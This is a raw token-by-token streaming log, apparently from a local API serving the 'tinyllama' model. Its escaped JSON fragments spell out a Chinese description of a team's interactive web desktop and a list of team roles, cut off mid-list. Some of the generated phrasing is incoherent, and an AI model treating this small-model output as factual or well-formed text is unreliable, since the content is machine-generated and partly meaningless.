{\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:18.975284286Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;司\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:19.01881467Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;的\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:19.13174914Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;組\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:19.172232378Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;隊\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:19.214230851Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;，\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:19.325408523Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;發\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:19.365433253Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;起\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:19.405863401Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;了\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:19.453500311Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;一\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:19.566154222Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;個\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:19.672814535Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;互\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:19.715575941Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;動\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:19.763924174Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;的\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:19.806070337Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;新\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:19.847982476Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;型\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:19.969023365Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;網\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:20.088965815Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;頁\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:20.198630961Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;桌\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:20.23924199Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;面\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:20.281321142Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;，\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:20.409542825Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;它\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:20.450950151Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;提\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:20.564495612Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;供\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:20.604687287Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;一\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:20.732531482Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;個\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:20.772613536Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;可\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:20.884304819Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;視\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:20.924715803Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;化\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:21.050144167Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;且\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:21.090737531Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;可\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:21.2026024Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;讀\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:21.242655369Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;的\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:21.37816571Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;內\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:21.417495591Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;容\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:21.530432639Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;探\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:21.569438698Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;索\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:21.699656277Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;環\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:21.810665401Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;境\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:21.852214233Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;。\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:21.892881609Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;\\n\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:21.935494043Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;\\n\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:21.979383363Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;我\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:22.105575056Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;們\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:22.145894855Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;的\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:22.258526995Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;組\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:22.297264208Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;隊\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:22.339139055Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;包\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:22.469000253Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;括\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:22.509619551Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;程\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:22.551604947Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;式\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:22.593412247Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;設\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:22.634502558Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;計\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:22.691026549Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;師\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:22.734750935Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;、\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:22.860618425Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;數\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:22.892319886Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;學\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:22.934594206Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;家\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:22.977052568Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;、\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:23.090380258Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;響\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:23.215256264Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;應\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:23.256902406Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;科\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:23.297529118Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;技\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:23.414141404Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;專\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:23.455268588Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;業\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:23.499660071Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;人\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:23.625539515Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;員\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:23.666450777Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;、\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:23.778813456Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;匯\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:23.820520368Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;金\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:23.928716129Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;試\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:23.981901473Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;算\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:24.103528212Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;專\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:24.144776581Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;家\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:24.18575099Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;以\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:24.228673036Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;及\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:24.366475415Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;質\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:24.485753285Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;詢\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:24.526718832Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;系\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:24.640344307Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;統\u0026#34;},\u0026#34;done\u0026#34;:false} 